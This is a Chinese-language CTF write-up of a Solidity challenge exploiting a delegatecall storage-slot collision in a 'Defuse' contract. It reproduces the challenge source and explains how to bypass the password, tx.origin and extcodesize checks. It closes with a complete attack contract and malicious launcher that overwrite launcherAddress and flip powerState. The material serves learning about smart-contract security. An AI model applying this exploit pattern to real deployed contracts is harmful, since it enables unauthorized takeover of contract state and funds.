03.delegate漏洞_1
2023-06-23 20:22:31 # 00.security

delegate漏洞

漏洞简介

任务描述:将setup.sol中的isSolved方法返回true,分析一下,实质是将defuse合约中的powerState修改为true。

该任务描述的项目业务:

攻击思路:

分析

查看题目给我们的代码发现,我们的任务是让isSolved()返回true,实际上是想办法将defuse中的powerState状态从true修改为false。但是我们查看Defuse的方法里面,没有任何一个方法可以修改powerState,但是有一个函数setCountDownTimer(),方法体里面有delegatecall方法,这里就是突破点。

delegatecall的性质简述:调用外部合约的方法修改本合约的内容。详细描述见本文件夹下关于delegatecall文件。因此,我们可以利用delegatecacll的性质,另外攻击合约,来修改Defuse里面的powerState变量。

1
2
3
4
//突破点
function setCountDownTimer(uint256 _deadline) public onlyOwner notExplode {
launcherAddress.delegatecall(abi.encodeWithSignature("changedeadline(uint256)",_deadline));
}

此方法是launcherAddress来调用外部合约的方法修改本合约的内容,因此我们可以:将launcherAddress修改成攻击合约的地址,再用调用攻击合约的方法【新写changedeadline(uint256)来攻击】来修改powerState变量。

如何修改launcherAddress

原理

第一次调用setCountDownTimer(uint256),会根据传入的参数_deadline来修改defuse合约中的内容

1
2
3
function setCountDownTimer(uint256 _deadline) public onlyOwner notExplode {
launcherAddress.delegatecall(abi.encodeWithSignature("changedeadline(uint256)",_deadline));
}

我们知道,在solidity中,delegatecall方式调用其他合约的方法来修改本合约的状态变量,是根据插槽对应位置而非状态变量的名字。比如:A合约的变量a所在插槽为0,那么B合约调用A合约的setA(),就算B合约有个相同的变量a(不在第0插槽位置),也只会修改B合约插槽0的变量而不修改变量a

一个插槽满了32字节,或者剩余位置放不下这个状态变量,才会放到下一个插槽。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//插槽对比

contract Launcher{
//uint256为32字节,占满32个字节,也就是第一个插槽满了
uint256 public deadline;//slot[0]

constructor() public {
deadline = block.number + 100;
}

function changedeadline(uint256 _deadline) public {
deadline = _deadline;
}
}

contract Defuse{
//slot[0]:Explode(1字节),launcherAddress(20字节)。slot[0]剩余11字节
//slot[1]:passowrd(32字节)。slot[1]剩余0字节
//slot[2]:powerState(1字节)。slot[2]剩余31字节
bool public Explode = false;//slot[0]
address public launcherAddress;//slot[0]
bytes32 private password;//slot[1]
bool public powerState = true;//slot[2]

......
}

但是launcher合约写的有问题!我们调用changedeadline(uint256)之后,会修改Defuse的第0个插槽的变量,即false和launcherAddress。

满足修饰符的检验

因为setCountDownTimer(uint256)方法有两个修饰符onlyOwner和notExplode,只有通过这两个修饰符才可以调用方法修改launcherAddress

onlyowner()
1
2
3
4
5
6
7
8
modifier onlyOwner(){
require(checkPassword() == password);
require(msg.sender != tx.origin);
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

第一个条件require(checkPassword() == password),需要我们输入正确的密码

1
2
3
4
5
6
7
8
9
function checkPassword() public returns (bytes32 result)  {
bytes memory msgdata = msg.data;
if (msgdata.length == 0) {
return 0x0;
}
assembly {
result := mload(add(msgdata, add(0x20, 0x24)))
}
}

result := mload(add(msgdata, add(0x20, 0x24)))解释:

  • add(0x20,0x24):将这两个数加起来,就是0x44,十六进制
  • add(msgdata,0x44):从msgdata的地址(指针)的地方,跳过0x44字节的数据
  • mload(p…p+32):跳过0x44字节之后,取32字节
  • 注意:在内联汇编中,bytes在内存中是一个地址,存放的是字节的长度,实际数据紧跟其后。因此,整句话的逻辑如下图:
    • 将msg.data加载进内存当中,内存的0~31bytes存放的是msg.data的长度,msgdata相当于内存的地址,有指针的味道
    • 内存的32~35bytes存放的是函数选择器
    • 内存的36~67bytes存放的是setCountDownTimer(_uint256)的形参
    • 内存的68~99bytes存放的是我们额外添加的数据,与参数无关,为的是将calldata载入内存之后该位置的数据是password

如何去查看合约在创建的时候输入的密码呢?因为区块链上面的任何信息都是公开透明的,即使是private都可以查询。

第二个条件require(msg.sender != tx.origin),也就是交易的发起者与本合约的调用者不相等,我们需要一个中间合约去调用。意思是我们不可以直接调用,要用一个合约去调用它

第三个条件require(x == 0)

extcodesize(caller)的意思是调用者的关联地址长度为零,但智能合约地址肯定是不为零的,因此我们就需要清楚,在合约尚未完成构造时,合约的关联代码为零。同时也因为这个条件,任何人(就算是owner)也无法直接调用方法,必须在合约尚未构造完成时进行调用方法才行。

notExplode()
1
2
3
4
5
6
modifier notExplode(){
launcher = Launcher(launcherAddress);
require(block.number < launcher.deadline());
Explode = true;
_;
}

条件:这个修饰符要求我们执行函数时,区块数量要在合约创建时的区块数量的一百块之内,尽快进行攻击就行,如果超过了就只能重新部署。

我们修改launcherAddress成为的攻击合约之后,攻击合约必须有deadline属性,同时要满足block.number < launcher.deadline

如何修改powerState

将launcherAddress修改成为攻击合约地址后,再次调用setCountDownTimer(uint256)即可

题目源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pragma solidity ^0.5.10;

contract Defuse{
bool public Explode = false;
address public launcherAddress;
bytes32 private password;
bool public powerState = true;
bytes4 constant launcher_start_function_hash = bytes4(keccak256("changedeadline(uint256)"));
Launcher launcher;

function checkPassword() public returns (bytes32 result) {
bytes memory msgdata = msg.data;
if (msgdata.length == 0) {
return 0x0;
}
assembly {
result := mload(add(msgdata, add(0x20, 0x24)))
}
}

modifier onlyOwner(){
require(checkPassword() == password);
require(msg.sender != tx.origin);
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

modifier notExplode(){
launcher = Launcher(launcherAddress);
require(block.number < launcher.deadline());
Explode = true;
_;
}

constructor(address _launcherAddress, bytes32 _fakeflag) public {
launcherAddress = _launcherAddress;
password = _fakeflag ;
}

function setCountDownTimer(uint256 _deadline) public onlyOwner notExplode {
launcherAddress.delegatecall(abi.encodeWithSignature("changedeadline(uint256)",_deadline));
}
}

contract Setup {
Defuse public defuse;

constructor(bytes32 _password) public {
defuse = new Defuse(address(new Launcher()), _password);
}

function isSolved() public view returns (bool) {
return defuse.powerState() == false;
}
}
contract Launcher{
uint256 public deadline;
function changedeadline(uint256 _deadline) public {
deadline = _deadline;
}

constructor() public {
deadline = block.number + 100;
}
}

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
contract attack{
Defuse defuse;
constructor(address _addr) public{
defuse = Defuse(_addr);
//修改launcherAddress
//(1)第一个参数0x000000000000000000000085A33A74098A4Fc235c4225417745805129e16b100:
//为了修改launcherAddress成为攻击合约
//攻击合约是85A33A74098A4Fc235c4225417745805129e16b1,但为什么参数是前面后面有0?
//后面的两个00是Explode,1个字节8bit,即占2位
//launcherAddress是address为20字节,即40位
//前面的一大串0即插槽0剩余的11个字节位置
//(2)第二个参数0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a:
//即onlyOwner修饰器需要传入的msg.data,即password
address(defuse).call(abi.encodeWithSignature("setCountDownTimer(uint256)",
0x000000000000000000000085A33A74098A4Fc235c4225417745805129e16b100,
0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a));
//修改powerState
//0x000000000000000000000085A33A74098A4Fc235c4225417745805129e16b100其实可以是任何数,
//因为我写的changedeadline的输入的形参没有任何作用
address(defuse).call(abi.encodeWithSignature("setCountDownTimer(uint256)",
0x000000000000000000000085A33A74098A4Fc235c4225417745805129e16b100,
0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a));
}
}

contract attackLauncher{
bool public Explode = false;
address public launcherAddress;
bytes32 private password;
bool public powerState = true;
uint public deadline;

constructor()public {
deadline = block.number + 100000;
}

function changedeadline(uint256 _deadline) public {
powerState = false;
}

}

全过程

Prev
2023-06-23 20:22:31 # 00.security
Next